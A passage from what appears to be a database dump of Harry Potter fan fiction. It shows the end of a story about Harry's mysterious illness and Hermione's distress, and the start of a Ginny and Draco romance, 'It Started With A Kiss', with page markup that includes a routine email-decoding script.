Ron.</p>\n\n<p>&quot;Could you find Miss Granger?&quot; Madame Pomfrey said, taking one of the extra sheets from beside Harry\'s bed and tucking it over him. Harry was giving the distinct impression that he was cold because he was shivering ferociously. &quot;I think she ought to be alerted of Mr Potter&#8217;s condition, don&#8217;t you?&quot;<br>\n\n</p>\n\n<p>&quot;I guess,&quot; Ron replied and slid off the chair. He looked at Harry and said, &quot;I&#8217;ll be back in a while with your lady love. Don&#8217;t die on me.&quot;<br>\n\n</p>\n\n<p></p>\n\n<b><p>~)*(~</p>\n\n</b><p></p>\n\n<p></p>\n\n<p></p>\n\n<p>&quot;Ron, I&#8217;m not even close to kidding,&quot; Hermione said, packing her books into her bag. </p>\n\n<p>Ron looked like someone had told him Dumbledore was a woman. His mouth was hanging open and he was trying to talk, like a fish trying to breathe out of water. </p>\n\n<p>&quot;What do you mean &#8216;no&#8217;?&quot; Ron demanded. &quot;Your boyfriend and our best friend is lying in the Hospital Wing with Merlin knows what wrong with him and you don&#8217;t care?&quot;</p>\n\n<p>Hermione nodded. &quot;I don&#8217;t care, Ron.&quot;</p>\n\n<p>&quot;Oh, I don&#8217;t believe this!&quot; Ron shouted.</p>\n\n<p>&quot;Believe whatever you want,&quot; Hermione replied. &quot;I don&#8217;t care about Harry Potter.&quot;</p>\n\n<p>Ron caught himself before he fell to the floor in a dead faint. Just as Hermione was about to stalk past him at a near run, Ron caught her by the shoulders and stopped her from going any further. </p>\n\n<p>&quot;What the hell do you think you&#8217;re doing?&quot; Hermione shouted, trying to struggle away from Ron&#8217;s grasp. </p>\n\n<p>&quot;Trying to see what the hell&#8217;s wrong with you!&quot; Ron replied, holding her still while he looked at her straight in the eye. &quot;What in the world&#8217;s got into you, Hermione?&quot;</p>\n\n<p>&quot;Harry did, that&#8217;s what!&quot; Hermione shouted, struggling against Ron, trying to free herself from his iron grasp. </p>\n\n<p>Ron looked confused. &quot;What do you mean &#8216;Harry did&#8217;?&quot;</p>\n\n<p>Hermione sighed and stopped struggling for a moment before replying with her head bowed. &quot;Harry&#8230;me and Harry&#8230;we&#8230;&quot;</p>\n\n<p>&quot;You&#8230;did you?&quot; Ron gasped. &quot;You&#8217;ve gotta be kidding me!&quot;</p>\n\n<p>Hermione shook her head. &quot;No, Ron, I&#8217;m not joking. We&#8230;did.&quot;</p>\n\n<p>&quot;That still doesn&#8217;t explain why you won&#8217;t go and see him,&quot; Ron stated. &quot;Did he say something or do something&#8230;&quot;</p>\n\n<p>Taking her chance, Hermione threw her arms up, knocking Ron&#8217;s hands from her shoulders. &quot;He didn&#8217;t have to say anything! He did enough so he didn&#8217;t have to say anything to me. We promised each other to take things slowly.&quot;</p>\n\n<p>&quot;Maybe it was meant to be,&quot; Ron suggested. &quot;Maybe this was meant to happen, Hermione. Merlin knows, this should bring you closer together, not split you up.&quot;<br>\n\n</p>\n\n<p>&quot;You&#8217;d think that wouldn&#8217;t you,&quot; Hermione said. &quot;Just remember, Ron, that everyone&#8217;s different. I&#8217;m not one of Harry little conquests, I don&#8217;t need him or anybody else to know that I&#8217;m somebody special.&quot;</p>\n\n<p>&quot;He knows that,&quot; Ron tried. &quot;But, Hermione&#8230;&quot;</p>\n\n<p>&quot;But Hermione nothing,&quot; Hermione replied. &quot;We&#8217;ve both said enough, Ron. Do what you can for him, I just can&#8217;t do this anymore.&quot;</p>\n\n<p></p>\n\n<p></p>\n\n<b><p>~)*(~</p>\n\n</b>\n\n<p></p>\n\n<p></p>\n\n<p>Ron could kick himself for not dragging Hermione back to the Hospital Wing kicking and screaming. As soon as Ron had walked through the double doors, he swore Harry had asked for her in Parsel Tongue. Of course, to Ron it was no more than a slither but it had made Ron wonder if Harry was partially conscious of what was going on around him. </p>\n\n<p>Ron sat down on the chair next to Harry&#8217;s bed again and tried to think about the mess this was all causing. It just wasn&#8217;t fair that he had one friend in a Hospital bed speaking snake language and the other won&#8217;t be in the same room as the both of them. It couldn&#8217;t be that bad what they did, could it? Did Hermione feel that bad about it or was it something deeper? </p>\n\n<p>She was under a truth telling potion so she couldn&#8217;t be lying. And neither could he. He&#8217;d give anything to have someone to talk to. </p>\n\n<p></p>\n\n<p></p>\n\n<b><p>~)*(~</p>\n\n</b>\n\n<p></p>\n\n<p></p>\n\n<p>Lavender had been walking back from the Great Hall when she heard the faintest cry from the cupboard. She was in two minds whether to find out who was crying or to just run for it. She&#8217;d never had much luck with people crying, and to be honest, when she saw someone else crying, it really got her going too. </p>\n\n<p>	She heard a faint sob again from the cupboard and moved towards the door, pressing her ear against it ever so slightly. Yep, someone was definitely crying in there. Sobbing their heart out was more the expression.</p>\n\n<p>	&quot;Is someone there?&quot; Lavender asked, tugging at her wand just in case.</p>\n\n<p>	&quot;Lavender?&quot; Hermione&#8217;s voice answered from behind the door. It was muffled and had all the tell tale signs of a good cry, &quot;What do you want?&quot;</p>\n\n<p>	Lavender tried to open the door but it was locked, &quot;Can you open the door and let me in?&quot;</p>\n\n<p>	The door clicked and opened to reveal Hermione huddled on the floor, her back pressed up against the wall and her eyes bloodshot, tears streaming down her face. </p>\n\n<p>	&quot;Oh Merlin,&quot; Lavender said, rushing in and closing the door behind her. &quot;What&#8217;s wrong, Hermione?&quot;</p>\n\n<p>	&quot;It&#8217;s nothing,&quot; Hermione lied, brushing away fresh tears from her eyes and trying her best to compose herself. &quot;Nothing, really.&quot;</p>\n\n<p>	&quot;Does the nothing begin with a &#8216;H&#8217; and end in a &#8216;Y&#8217;?&quot; Lavender asked, sitting down next to her friend and brushing some of Hermione&#8217;s hair out of her face and tucking it behind her ear. &quot;If it does, what the hell has he done and what can I do to him that&#8217;s perfectly legal?&quot;</p>\n\n<p>	Hermione cracked a watery smile, &quot;It&#8217;s arry Harry but I think HHHHHarry&#8230;but&#8230;oh, Lavender, I just don&#8217;t know what to do anymore!&quot;</p>\n\n<p>	She started to sob again, into the small handkerchief that she kept stuffed down her sleeve for emergency situations. </p>\n\n<p>	&quot;What happened?&quot; Lavender asked, taking out her handkerchief and handing it to her watery friend. &quot;Did he do something? Has he had something done to him? What?&quot;</p>\n\n<p>	Hermione sniffed back, &quot;We finally&#8230;well&#8230;you know.&quot;</p>\n\n<p>	Lavender gasped, &quot;You&#8230;you did? So soon? Merlin, I thought it&#8217;d take longer than this!&quot;</p>\n\n<p>	&quot;It was supposed to!&quot; Hermione said defiantly. &quot;We were supposed to be&#8230;in love and then&#8230;then we&#8217;d do what we did&#8230;just&#8230;it&#8217;s over with now and it feels so&#8230;&quot;</p>\n\n<p>	&quot;Painful?&quot; Lavender suggested and Hermione nodded, &quot;It&#8217;s usually to feel like that, I mean, you&#8217;ve lost something that&#8217;s so precious to the man you love, it&#8217;s only natural to feel like you&#8217;ve lost something.&quot;<br>\n\n</p>\n\n<p>	Hermione shook her head, &quot;No, it&#8217;s not like that.&quot;</p>\n\n<p>	&quot;What do you mean?&quot; Lavender asked, raising her eyebrow. </p>\n\n<p>	&quot;Something&#8217;s happened to him, Lavender,&quot; Hermione said. &quot;He&#8217;s&#8230;something&#8217;s happened and I don&#8217;t know what. He&#8217;s in the hospital wing now, and I just left him! Like there was nothing wrong! I just&#8230;ran out on him!&quot;</p>\n\n<p></p>\n\n<p></p>\n\n<b><p>~)*(~</p>\n\n</b><p></p>\n\n<p></p>\n\n<p>	Ron had barely begun to eat his sandwich before he felt ill. Harry had fallen asleep already, his thumb tucked into his mouth like a child. Madame Pomfrey had to sedate him over and over because of his fits, still, no one could figure out what the hell was wrong. </p>\n\n<p>	It made him sick to his stomach that Hermione wasn&#8217;t there with him, to hold Harry&#8217;s hand and make sure that everything was going to be all right. The least she could&#8217;ve done was&#8230;Ron didn&#8217;t know. What did girls usually do in that situation? Did they just not care or something? </p>\n\n<p>	&quot;Ron, thank Merlin,&quot; Lavender said, rushing into the hospital wing, quickly pecking Ron on the cheek before sitting down next to Harry. &quot;I got here as soon as I heard.&quot;</p>\n\n<p>	Ron shrugged, &quot;He&#8217;s asleep now. Pomfrey says he&#8217;ll be out for the rest of the night, we&#8217;re not allowed to bother him.&quot;<br>\n\n</p>\n\n<p>	&quot;Do they know anything?&quot; Lavender asked, looking at Harry&#8217;s sleeping face.<br>\n\n</p>\n\n<p>	Ron shook his head, &quot;Not a bloody thing. Dumbledore says that he has all the signs of madness, you know from the Cruciatus Curse or something like that.&quot;</p>\n\n<p>	&quot;Could it be&#8230;&quot; Lavender started but Ron shook his head again. </p>\n\n<p>	&quot;They don&#8217;t think it could be You-Know-Who again,&quot; Ron replied. &quot;Harry&#8217;s not said anything about his scar so&#8230;they&#8217;re presuming that it&#8217;s not as bad as that anyway.&quot;</p>\n\n<p>Lavender sighed, &quot;And here I thought we&#8217;d be having the normal year. At least one year out of seven can&#8217;t be that unlucky.&quot;<br>\n\n</p>\n\n<p>	&quot;We go to school with Harry Potter,&quot; Ron said, &quot;The least he can do is make it interesting every damn year.&quot;<br>\n\n</p>\n\n<p>	&quot;I saw Hermione,&quot; Lavender stated, &quot;She was&#8230;crying downstairs. She&#8217;s a complete train wreck, Ron.&quot;<br>\n\n</p>\n\n<p>Ron chuckled a little, &quot;So, it has hit her harder than she let on.&quot;<br>\n\n</p>\n\n<p>Lavender looked confused; &quot;Will people stop saying things I don&#8217;t understand?&quot;</p>\n\n<p>Ron raised an eyebrow at Lavender&#8217;s small outburst. She took in a deep breath and turned back to Ron, a calm and collect person she hoped. </p>\n\n<p>	&quot;What do you mean?&quot; Lavender asked.</p>\n\n<p>	&quot;She said that she didn&#8217;t care about him,&quot; Ron replied, &quot;She said that she felt like one of his &#8216;conquests&#8217;, that everything happened so fast because&#8230;well&#8230;&quot;<br>\n\n</p>\n\n<p>Lavender nodded, &quot;I know what you mean&#8230;finally. Now I have the whole story I can think about this properly. What the heck happened to him? Did you just find him like this or what?&quot;<br>\n\n</p>\n\n<p>	&quot;He was mumbling to himself in a corner,&quot; Ron said, &quot;I would swear he&#8217;s gone mad but&#8230;we can&#8217;t be sure about anything right now. Dumbledore said that he&#8217;s alive and that&#8217;s top priority, to keep him alive until they can figure it out.&quot;</p>\n\n<p>Madame Pomfrey bustled past with blankets in her arms, heading towards another young lad who was lying in one of the beds. He had a broken arm from the looks of it, probably from Quidditch practice gone wrong, just like Harry in second year. Ron watched Madame Pomfrey pour some of the Skele-Grow juice into a small glass and give it to the young man. </p>\n\n<p>Ron looked down at his hands and then back up at Lavender, &quot;I wish there was something we could do. I keep wishing that there&#8217;s something Harry can go and fight again, to make this all better. I know there isn&#8217;t but it doesn&#8217;t stop me from thinking about it.&quot;<br>\n\n</p>\n\n<p>	Lavender smiled and reached out to Ron&#8217;s hands, taking one of his in her own and caressing it with her thumb, &quot;Harry needs you, Ron. He needs both of you so don&#8217;t quit on him. He wouldn&#8217;t quit on you.&quot;<br>\n\n</p>\n\n<p>	Ron smiled back and looked over at his sleeping friend. Harry looked so normal sleeping like he always did, breathing in and out slowly through his nose and moving his head about on the pillow. </p>\n\n<p>This couldn&#8217;t be Harry Potter&#8217;s darkest hour. </p>\n\n<p></p>\n\n<p><br>\n\n</p>\n\n<p><br>\n\n</p>\n\n<p>	</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p></font>\n\n '),
	(177, 1, '<span class="u">It Started With A Kiss</span>\n<p>Author: sunnycouger (<a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a><script>\n/*  */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/*  */</script>) \n</p><p>Category: Drama, Romance \n</p><p>Rating: PG. \n</p><p>Summary: Ginny Weasley has just kissed Draco Malfoy! But what happens next? This is the ramifications and the subsequent date. Prequel to Somewhere In Between! \n</p><p>Disclaimer: The characters of Harry Potter don\'t belong to me, I\'m just taking them out to play and I promise to get them home to JK Rowling in time for the next book :) But, just in case you were in any doubt as to who they belong to have a look at this: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. \n</p><p>Authors Note: The third of the prequels to Somewhere In Between. As always you can read that first and find out how the whole thing ends or you can take it as a stand alone and imagine your own ending. This follows on to Of Purple Mice and Floating Paperweights and In The End but you don\'t need to know that to get this. Some things will be mentioned but mostly it\'s a stand alone. Thank you Liv for beta\'ing this and helping out. You\'re the best!! \n</p><p>The prologue (which is helpfully in italics ) is basically word for word the events from Somewhere In Between as the fic is really more about the events afterwards, but if you haven\'t read that I figured it would be easier if you saw how the kiss came about. Enjoy!<br clear="LEFT"/>\n</p><p><i>~ ~ ~ ~ ~</i>\n</p><p><i><u>Prologue</u></i>\n</p><p><i>"I thought you had to stay in the school, Malfoy?" Ginny Weasley looked down from her space in the branch about 10 feet from the ground to see a reflective looking Draco Malfoy looking out towards the lake in the grounds of Hogwarts. "Professor Dumbledore won\'t be happy if he sees you out here...not that I\'ll tell...I could do with the company..."</i>\n</p><p><i>He turned abruptly, clearly surprised at the presence of someone else. His blond hair reflected the moonlight as he turned his pale grey eyes towards her. "I\'m a bit old to be following rules, am I not? I couldn\'t sleep and I needed some air. What\'s your excuse? Out in the middle of the night, alone..."</i>\n</p><p><i>"Unlike some people around here," she smiled at him and shrugged her shoulders as she replied, "I don\'t need an excuse..."</i>\n</p><p><i>"Good point." He walked over to her and climbed up to sit on the branch beside her. She looked at him probingly. He looked a little more...pensive than usual.</i>\n</p><p><i>"So what brings you out here? Peeves throwing the armour around again?" Ginny asked as he steadied himself on the branch.</i>\n</p><p><i>He shook his head and sighed. "Can\'t sleep." He looked at her before turning back to the water. "Do you ever wonder why your life turned out like it did and what would have happened if you had made different choices, Ginny? If you had shown a bit of character earlier in your life instead of waiting until things were too late to fix..."</i>\n</p><p><i>She shook her head as she looked at the water. "No, I like my life as it is..."</i>\n</p><p><i>"Typical response from a Weasley. You all believe your life is perfect," Draco sighed. "And the rest of us mere mortals should get on with it."</i>\n</p><p><i>Ginny shook her head as she looked at him. "I don\'t for a second think my life is perfect, but I refuse to dwell on the past and blaming a choice that I may or may not have made."</i>\n</p><p><i>Draco shook his head as he turned and looked back towards the lake. "Are you trying to tell me that you wouldn\'t have spoken to Potter sooner if you had the chance all over again? Because if you expect me to believe that, you are deluded."</i>\n</p><p><i>Ginny sighed and looked away. "Why do you do that, Malfoy? Why do you show your contempt for me even when you are trying to have a civilised conversation?"</i>\n</p><p><i>Draco turned to her and smiled bitterly. "Good question. Why do you still insist on calling me Malfoy when we speak? It\'s been nearly two years since we had our first conversation and we have had many since yet you have never once called me by my name. It\'s always Malfoy," he turned away from her again and shook his head. "And you get upset when I mention Potter\'s name? You can\'t have it both ways...you can\'t expect me to give you anything other than the contempt you give me."</i>\n</p><p><i>Ginny bit her lip and looked at him. "I...I have called you by your name."</i>\n</p><p><i>"Really?" Draco turned to her with a cool gaze. "When? Give me one example." He waited for a minute expecting her to respond and when she didn\'t he shook his head and gave a derisive laugh. "Exactly."</i>\n</p><p><i>He jumped down off the branch agilely and looked up at her. "I don\'t expect anything from you Ginny, but would it kill you or your family to acknowledge me without seeing my father? People do change...even the morally ambiguous. If I had wanted to kill Muggles and destroy Dumbledore I wouldn\'t be here now as a fugitive. I would be out, with my family, spending a fortune and being free and having fun, instead of chained to this castle, tutoring the children of Death Eaters who would gladly kill me. Remember that next time you look at me and see my father."</i>\n</p><p><i>He shook his head and began walking away as she watched him. She bit her lip as she closed her eyes. Why was it so hard for her? Because if she called him anything other than Malfoy she would perhaps see that he was more than the boy he had been at school? She would perhaps forget that he was related to Lucious Malfoy? Maybe if she didn\'t keep calling him Malfoy she would forget that their families hated each other. Maybe if she used his name she would forget that she couldn\'t feel anything for him. </i>\n</p><p><i>She looked again, half hoping he would walk back towards her but he was still retreating. She shook her head and began climbing down the tree. She couldn\'t let him walk away like that so she ran after him.</i>\n</p><p><i>"Stop. Please stop," she stopped and waited on him to turn around. "Please..."</i>\n</p><p><i>Draco paused and took a deep breath as he turned around. He held his hands out in a gesture for her to speak as he looked at her with an expressionless face. "What?"</i>\n</p><p><i>She took a deep breath as she took a few steps over towards him. "I...I\'m sorry...Draco..."</i>\n</p><p><i>He looked at her coolly before he began to smile at her and shook</i><i> </i><i>his head. "Did it hurt to say it?"</i>\n</p><p><i>Ginny began to laugh as she took another step towards him. "Funnily enough, it was pretty easy..." She looked at him and put her hand gently on his forearm. "I do appreciate what you\'ve given up to be here, you know. So does my family...it\'s just. Your dad...sometimes it\'s difficult to remember that the two of you are related. And then you have a look, or the tone of your voice, or a comment and it reminds me that you *are* his son. And that I care about the son...even though I despise the father and that makes me uncomfortable because the two are similar in so many ways..."</i>\n</p><p><i>Draco looked at her softly and took a deep breath. "You...care? Why?"</i>\n</p><p><i>She smiled as she shook her head. "Because I\'m not sure if I know anyone else who would be brave enough to turn away from their father after believing he was a god for eighteen years. I don\'t know anyone who would put themselves through the humiliation of asking for help from people he hated," she looked at him and smiled softly as she lowered her voice. "Because ever since that time in sixth year, even though you despised me and I despised you, you never ignored me, and because you are the only person who felt the need to ask if I was all right after Hogsmeade was attacked. That\'s why I care..."</i>\n</p><p><i>He looked down, the faintest blush appeared on his pale skin before disappearing quickly. "I don\'t deserve it for any of those reasons...I came back to save the school for selfish reasons, because I didn\'t want it destroyed and defiled to fulfil Voldermort\'s vendetta. I asked for Potter</i><i>\'</i><i>s help because he was the only one who could help. I only didn\'t ignore you in my final year because I enjoyed the reaction I got out of your brother and Potter, and," he took a deep breath as he continued, "I only asked about Hogsmeade because you were upset, and your brothers weren\'t there. You needed someone to talk to, or yell at and as you hated me you could probably say things that you couldn\'t say to someone you liked..." He took a deep breath as he looked at her and shook his head. "I just wanted to make sure you were all right...that\'s all."</i>\n</p><p><i>"That was enough," she sighed as she looked down. For the first time she noticed the hand that had touched his forearm with was now interlaced with his hand. She blushed slightly as she became aware of her skin tingling under his touch but didn\'t pull away as he looked at her, equally as unaware as she was.</i>\n</p><p><i>He sighed as he looked at her and closed his eyes for a moment before turning his gaze back towards her. "Funny how we ended up here. A Weasley and a Malfoy, alone in the middle of the night in the grounds of Hogwarts after they had graduated...I doubt either of us would have predicted our lives to lead to this point."</i>\n</p><p><i>"No, I doubt it. But, things happen..." Ginny shook her head. "And we would have had the conversation sooner or later anyway."</i>\n</p><p><i>"Yes...yes we would have I suppose," Draco nodded his head as he took a step closer to her and touched her face gently, almost unsurely. "Are you still in love with Potter?"</i>\n</p><p><i>She looked at him and shook her head as she reached up and brushed a thread of hair away from his eyes. "No...not for years...what about you?"</i>\n</p><p><i>Draco looked at her and gave an amused smile. "No, I managed to get over my feelings for him..."</i>\n</p><p><i>She blushed furiously as she looked down before laughing slightly. "I meant are you involved with anyone?"</i>\n</p><p><i>He nodded his head slightly as he looked at her. "Have been for the past two years...against my better judgement," he lifted his hand up that had her hand entwined and smiled as he looked at it. "But she could never look past the facade that everyone else saw...or I didn\'t think she could...I hope for good things for the future though..."</i>\n</p><p><i>She smiled at him as he bent his head down and kissed her gently at first, before pulling back to look at her. She smiled at him as she brought her free hand up to his neck and pulled him close to her where they began to kiss passionately.</i>\n</p><p>~ ~ ~ ~ ~ \n</p><p><u>It Started With A Kiss...</u>\n</p><p>She pulled back from him slightly and couldn\'t help the smile that had involuntarily lodged itself in place. Wow. She had just kissed Draco Malfoy. And it had been, for lack of a better word...wow. How had she got herself in this position? Well, she guessed it came down to the fact that she had been out for some air, he had come out, they had talked, she had insulted him, chased after him and let her feelings run away with her without engaging her brain like she really should have done. She looked at him as he lifted his head and looked at her as well with a similar smile to her own and she felt herself blush. She probably shouldn\'t have done that...not that she wasn\'t glad that she did, it was just...well, he *was* a Malfoy.  \n</p><p>"Um...okay..." she managed to stutter out eventually, still smiling involuntarily. \n</p><p>"Okay..." he nodded his head as he took a deep breath. "So?" \n</p><p>"So..." she echoed back as she looked down. What was she supposed to say? Great kiss, how about an encore? Sorry, would love to try again but on account of the fact my family would kill you it might not be a good idea? She took a deep breath and tried to force what she knew was a goofy grin off her face. This was serious. "So, I um...I think I got enough fresh air...I\'m going to go in...you know, bed...dream..." \n</p><p>He looked at her with a raised eyebrow as she walked backwards. "Um, I\'ll see you around...Draco..." \n</p><p>She turned abruptly and began walking away quickly knowing full well that he was probably laughing his head off.  \n</p><p>"Ginny?" she stopped and turned around. "Would you like to go for dinner tomorrow? With me?" \n</p><p>She looked at him intently. Obviously she had to decline, because it would be way too complicated. Way too complicated. \n</p><p><i>Say no. Say no. Say no. Say no.</i>\n</p><p>"Yeah, I\'d like that. A lot," she said as she inwardly cursed her brain for having absolutely no control over what she was actually saying. "It would be good..." \n</p><p>"Good," he said with a smile as he began backing away. "What time?" \n</p><p>"Um, 7 o\'clock?" \n</p><p>He nodded his head as he stopped. "7 o\'clock, at the main doors. I will see you then. Good night." \n</p><p>He turned away from her and she nodded her head as he retreated. As soon as he was out of sight she turned around and began to giggle as she ran to the castle: her stomach fluttering and her head floating. No doubt she would regret the whole thing in the morning but, in that moment, she was happy. Embarrassingly giddy almost. And she loved it. \n</p><p>~ ~ ~ ~ ~ \n</p><p>She awoke the following morning early and walked to her mirror. Not really sure whether she had perhaps dreamed the events of the night before. "Oh come on Ginny, be honest, you wouldn\'t have ended it there if it was a dream." \n</p><p>She blushed as she looked at herself. She couldn\'t really argue with that, after all...he wasn\'t exactly hard to look at. She blushed again as she let out a groan. What was *wrong* with her? This was Dra...Malfoy. This was Malfoy. This was the guy who had tormented her brother for seven years...this was the guy who couldn\'t see anyone in her family without bringing up their financial situation. This was the guy who her father had gave her a 45 minute lecture on before she had come back to Hogwarts because he was there. \n</p><p>This was the guy who made her feel more in a kiss than she had felt in any of her longer relationships...this was the guy who had always challenged her to want more for herself, right from the start. \n</p><p>This was a disaster. \n</p><p>She turned and began to fasten her robes as she walked to the hospital wing. If nothing else she could work out what would happen after tonight. She would just go into it with an open mind. If nothing else, she would be out with a friend. That was...she stopped abruptly, if he wasn\'t having second thoughts. Maybe the whole Weasley/Malfoy thing would scare him off. She felt her face scowl as she walked abruptly. If he was planning on standing her up, she would kill him. \n</p><p>~ ~ ~ ~ ~ \n</p><p>The day had been almost formulaic, she had dressed some cuts of students who got caught in the trick steps. Others had been caught with mistimed hexes and charms that had gone astray. And now she was onto the real work. She yawned as she looked at the course book in front of her. She had been in intensive training for nearly seven months and she was pretty adept at the more mundane aspects of what she had to do, but they still insisted that you had to know how to treat the sting of a Lithuanian Sword Samala; even though it had been extinct for 200 years. She didn\'t even know what a Lithuanian Sword Samala was, but apparently they made your limbs swell up until the pus broke the skin. She shuddered...the whole experience sounded lovely. \n</p><p>"Um, excuse me?" She turned around and saw a small Gryffindor boy behind her. She smiled as she stood up.  \n</p><p>"Hello. Can I help you?" she walked over to him. "You okay?" \n</p><p>He nodded his head as he handed her a note. "I\'m okay. I was told to give you this." \n</p><p>She took the note and sat over at the desk and opened it up. She felt herself smile as she read the few short lines. \n</p><p><i>Good morning Ginny,</i>\n</p><p><i>I was just confirming our meeting tonight. 7pm at the main doors. I look forward to seeing you. Please send confirmation with the boy...if, that is, he has managed to improve his sense of direction and actually found you before we are due to leave.</i>\n</p><p><i>Draco Malfoy</i>\n</p><p>She turned to the student who was looking around the room curiously. "Can you take this back with you please? What\'s your name?" \n</p><p>He turned to her and nodded his head. "Yeah, I\'ll take it back. Um, my name is Pete..." \n</p><p>She smiled at him and grabbed a piece of parchment and began scribbling a reply. "Thanks Pete." \n</p><p><i>Hello Draco,</i>\n</p><p><i>I will see you at 7pm at the main doors. PETE managed to find me just fine. Just tell me one thing, where are we going? I need to know how I should dress after all. I\'ll see you later.</i>\n</p><p><i>Ginny</i>\n</p><p>She smiled as she folded the parchment over and handed it to the boy with a smile. "Thank you." \n</p><p>He grunted as he turned away and walked out the room. Ginny smiled at herself. So maybe he hadn\'t decided to forget it. Not, she reasoned, that she was overly glad. She was more...curious. Curious to see how a guy like Draco Malfoy would treat his date. Especially if that date was her. She groaned loudly. How did she get into this?  \n</p><p>"You know, the spontaneous groaning, fits of giggles and cheesy grin won\'t do a lot to encourage patients..." \n</p><p>She span around to see Madam Pomfrey looking at her with an amused expression. "I\'m assuming you have something planned that is making this much of an impact on you? Did you get an owl from anyone in particular?" \n</p><p>Ginny blushed as she shook her head. "No...definiately no. I just...didn\'t get a lot of sleep last night..." \n</p><p>"Is anything wrong? Were you not feeling well?" Madam Pomfrey walked over to her and put a hand up to her head to check for a temperature, the medic in her taking precedence over common sense. "Would you like the rest of the day off?" \n</p><p>Ginny took a step back and began to laugh. "No, I\'m good. Great in fact." \n</p><p>"Great?" \n</p><p>Ginny smiled as she turned away. She was great. "Yeah." \n</p><p>Madam Pomfrey sighed and turned away. "Ah, the wonder of youth - when you\'re feeling great you can\'t sleep. Just wait until you\'re older, when it\'s only when you don\'t feel great that you can\'t sleep. Oh, hello, can I help you?" \n</p><p>Ginny turned to see Pete standing at the door holding another note. "I\'ve to give this to her. Again." He said rather wearily as he nodded his head in Ginny\'s direction. \n</p><p>Madam Pomfrey eyed the note suspiciously as she handed it over to Ginny before turning back to the boy. "Okay, you can go..." \n</p><p>Pete sighed as he looked at Ginny expectantly. "Mr Malfoy said I\'ve to bring a reply back..." \n</p><p>Madam Pomfrey turned to look at Ginny with an amused expression as she turned back towards her office. "Mr Malfoy? Well well...I wonder if he\'s feeling great?" \n</p><p>"Miserable git wouldn\'t feel great if he won the bloody Quidditch World Cup..." Pete muttered quietly as Ginny turned to the table to read the note. \n</p><p><i>Dear Ginny,</i>\n</p><p><i>I am impressed, you have refrained from calling me Malfoy twice now and used my first name both times, and to think it only took eight years as well. </i>\n</p><p><i>PETE, as you like to call him took 30 minutes to deliver the message to you...I am curious as to the mental requirements the hat is asking for Gryffindors now. I am certain that the next intake for that house will have students with the mental capacity of a 6 year old.</i>\n</p><p><i>As for where we are going. It would ruin the surprise if I told you that. I was under the impression that women enjoyed surprises? As it stands, I recommend you wear something nice, but warm. We wouldn\'t want you to freeze. Is there anything in particular you would like to do after dinner?</i>\n</p><p><i>Draco Malfoy</i>\n</p><p>She looked at the note and contemplated. How did she answer that? What would she like to do? She grabbed her quill and a scrap piece of parchment. \n</p><p><i>Draco,</i>\n</p><p><i>You know your sarcasm is really wasted in a letter although saying that, I think I prefer it that way. Pete, I\'m sure, could wipe the floor with any of your Slytherin students you are tormenting down there. He made a rather accurate character assessment of you just now, you should really consider giving him extra credit.</i>\n</p><p><i>As for tonight, I don\'t know whether or not to be offended by the statement \'wear something nice</i><i>,</i><i>\' did you think I was going to wear my regular robes? I think I\'m going to let you decide what we do tonight. See if you have an imaginative streak hidden deep down. I should point out that I\'m not easy to surprise so I doubt that you will be able to manage it...but I look forward to your attempts.</i>\n</p><p><i>Ginny</i>\n</p><p>She smiled to herself as she folded the letter again and handed it back to a rather unimpressed Pete who looked at her with a yawn as he walked off. She sighed, she couldn\'t seem to get any reaction from the students the way that some of the others did. She looked at the clock as she sat back down at the desk trying to get her head through the course book. 12.19pm. Eleven minutes and she could break for lunch, owl Charlie to tell him how sorry she was the wedding was cancelled and decide what the hell she was going to wear. 12.27pm. She looked at the book and allowed the words to dance in front of her eyes. Any minute now it would start to make sense. Any minute she would be able to concentrate... \n</p><p>At that second she heard a cough behind her. She spun around to see a flushed looking Pete holding his books as he stuck his hand out. She couldn\'t help but laugh out loud. "Have you done any work today, Pete?" \n</p><p>She took the note out his hand and he shook his head. "I\'m apparently learning an important lesson in the quickest way to get around the castle and to give me an opportunity to reassess any character analysis I\'ve done." She flinched slightly and looked at him apologetically as he continued. "At least it gets me away from the damn class..." He looked at her and gave a small smile. "No offence." \n</p><p>She smiled as she opened the note up. "None taken. So, do you want to go off for your lunch?" \n</p><p>He gave her a quizzical look. "You sure you don\'t want to reply? Again?" \n</p><p>"Did he say he wanted a reply?" \n</p><p>He shook his head. "No, he just said take my things..." \n</p><p>She nodded her head as she looked at him. "Well, go to lunch then. I promise I won\'t tell him you left early." \n</p><p>He grinned at her as he ran out the wing leaving her alone. She sighed and looked down at the note and vainly tried to stop from laughing. \n</p><p><i>Ginny,</i>\n</p><p><i>I can almost guarantee you will be surprised</i><i>,</i><i> if not you are far to difficult to impress and not worth the effort. On that note, I should suggest you take a cloak...it can be quite chilly at night.</i>\n</p><p><i>Unfortunately I won\'t be able to get your reply to this as I have slightly less hopeless students this afternoon (I have no more Gryffindors) but I will see you tonight. So, until then, enjoy the rest of your afternoon.</i>\n</p><p><i>Draco Malfoy</i>\n</p><p>She folded the letter up and grabbed the other two and skipped to Madam Pomfrey\'s office. She opened the door and grinned, despite her head telling her to stop acting like a freak in public. "Hi, I\'m just going off for lunch. I\'ll be back soon." \n</p><p>Madam Pomfrey looked up with an amused expression. "That\'s fine, I\'ll be going down to the Great Hall myself. Is that where you\'re going?" \n</p><p>Ginny shook her head. "No, I need to go owl Charlie about what happened with Louisa. Mum said he\'s still really upset." \n</p><p>Madam Pomfrey smiled sympathetically. "It sometimes happens when Muggles find out about us I\'m afraid...I\'m sure he\'ll be fine and meet someone else." \n</p><p>"That\'s what mum says...not that that\'s making Charlie feel any better." Ginny nodded her head sadly. She always hated it when her brothers were upset. Always. She walked towards the door when Madam Pomfrey stopped her with a slight smile.  \n</p><p>"Should I pass on a message to you for Mr Malfoy?" \n</p><p>Ginny blushed as she shoved the 